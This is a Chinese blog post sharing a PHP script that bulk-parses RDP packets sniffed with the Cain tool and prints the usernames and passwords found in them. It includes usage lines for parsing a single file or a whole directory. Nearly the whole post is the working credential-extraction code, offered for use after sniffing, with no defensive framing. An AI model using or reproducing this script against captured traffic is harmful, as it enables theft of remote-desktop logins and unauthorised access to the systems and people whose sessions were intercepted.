php rdp,Cain嗅探到的RDP包批量解析为用户名+密码的php脚本

网上搜了一下有一款工具叫“Cain RDP Parser”,好家伙,一个一个选,玩死人的。。。索性写了个PHP脚本来批量解析。凑合着用。

//Author Wdot

//Site:http://wdot.cc

//用法 php CainRdpParser.php /tmp/1.txt #单个文件解析

//用法 php CainRdpParser.php /tmp/RDP/ #批量解析

error_reporting(E_ERROR);

if(is_dir($argv[1]))

{

foreach (scandir($argv[1]) as $key => $value) {

if($value!='.' && $value!='..')

{

rdpParser($argv[1].$value);

}

}

}elseif(is_file($argv[1]))

{

rdpParser($argv[1]);

}

function rdpParser($filename){

$crlf = "\r\n";

if(!file_exists($filename)){

print "file \"$filename\" not exists...$crlf";

return;

}

$rdpH=fopen($filename,'r');

print "FILE:".basename($filename).$crlf;

fseek($rdpH,0);

while (!feof($rdpH)) {

$line=trim(fgets($rdpH));

if(preg_match("/\w+.address:.*?$/",$line,$m))

{

print $line.$crlf;

}

if(preg_match("/^\[Client decrypted packet\]/",$line,$m))

{

$packet='';

while (!empty($line)) {

$line=trim(fgets($rdpH));

$packet.=substr($line,5,48);

}

$packets=explode('0000000000',str_replace(' ', '', $packet));

$i=count($packets)-27;

$packets=explode('0000',$packets[$i]);

$times=0;

foreach ($packets as $key => $value) {

if(empty($value) || $times>=2)continue;

print (($times==0)?'username':'password').":\t".pack('H*',$value).$crlf;

$times++;

}

break;

}

}

fclose($rdpH);

print "-------------------------------$crlf";

}

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值